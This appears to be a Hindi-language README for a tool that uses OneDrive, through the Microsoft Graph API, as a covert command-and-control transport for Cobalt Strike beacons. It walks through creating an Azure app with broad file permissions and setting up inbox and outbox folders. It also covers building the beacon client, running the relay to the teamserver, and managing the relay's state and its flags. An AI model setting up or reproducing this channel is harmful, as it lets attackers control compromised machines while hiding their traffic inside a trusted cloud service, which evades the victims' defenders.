
OneDrive को Cobalt Strike के लिए एक गुप्त C2 ट्रांसपोर्ट के रूप में
एक Cobalt Strike User-Defined C2 चैनल जो OneDrive को ट्रांसपोर्ट लेयर के रूप में उपयोग करता है।

Files.ReadWrite.All application permission वाला एक app registration।Azure Portal में, App registrations पर जाएँ और एक नया app बनाएँ:
overview पेज से tenant ID और client ID नोट कर लें।
API permissions के अंतर्गत:
Files.ReadWrite.All.Certificates & secrets के अंतर्गत, एक नया secret बनाएँ और उसकी value कॉपी करें।
उपयोगकर्ता के OneDrive में, दो फ़ोल्डर बनाएँ, एक inbox के लिए और एक
outbox के लिए (जैसे c2inbox और c2outbox)।
Graph Explorer खोलें, उस उपयोगकर्ता के रूप में साइन इन करें, और चलाएँ:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
प्रत्येक फ़ोल्डर की id और JSON response में किसी भी entry से driveId प्राप्त करें।
cp server/config.json.example server/config.json
server/config.json भरें:
फिर client बिल्ड करें:
make
relay शुरू करें (screen या tmux का उपयोग करें ताकि आपका terminal डिस्कनेक्ट होने पर भी यह चलता रहे):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
Cobalt Strike में, उसी port पर एक UDC2 listener बनाएँ और client/bof.o लोड करें।
relay आपके config के बगल में कुछ फ़ाइलें बनाता है ताकि restarts के बीच चीज़ों का हिसाब रखा जा सके:
config.json.state.json) - ट्रैक करता है कि कौन सी inbox फ़ाइलें process हो चुकी हैं, pending uploads, और beacon session info। --state के साथ एक custom path सेट करें।config.json.state.json.spool/) - response data रखता है जो अभी तक OneDrive पर upload नहीं हुआ है। यदि relay upload के बीच में crash हो जाता है, तो spool data को सुरक्षित रखता है ताकि अगली बार शुरू होने पर इसे retry किया जा सके।config.json.state.json.lock) - दो relay instances को एक ही state के साथ चलने से रोकता है। यदि आपको Another relay holds the lock दिखता है और कोई अन्य relay नहीं चल रहा है, तो lock किसी crash से stale है।यदि relay की local state corrupt हो जाती है या कोई stale lock startup को रोक रहा है, तो --clean का उपयोग करके state file और spool directory को मिटाएँ ताकि relay नए सिरे से शुरू हो:
python3 server/relay.py --config server/config.json --clean
lock file रखी जाती है। relay तब तक clean नहीं करेगा जब तक कोई अन्य instance चल रहा हो। अगली सामान्य शुरुआत पर यह फिर से initialize होता है और 30 मिनट से पुरानी किसी भी inbox फ़ाइल को छोड़ देता है।
आप state file और spool directory को स्वयं हटाकर भी मैन्युअल रूप से रीसेट कर सकते हैं। यदि lock file stale है (कोई relay नहीं चल रहा), तो उसे भी हटा दें।

| Field | Value |
|---|
tenant_id | Microsoft Entra ID tenant ID |
client_id | Application client ID |
client_secret | Client secret value |
drive_id | OneDrive drive ID |
inbox_folder_id | Inbox folder ID |
outbox_folder_id | Outbox folder ID |
| Flag | Description |
|---|
--config | config.json का पथ (आवश्यक) |
--ts-addr | Teamserver IP |
--ts-port | UDC2 listener port |
--poll | Poll interval सेकंड में (डिफ़ॉल्ट 2.0) |
--state | state file का पथ (डिफ़ॉल्ट: <config>.state.json) |
--debug | debug logging सक्षम करें |
--clean | state file और spool directory हटाएँ, फिर बाहर निकलें |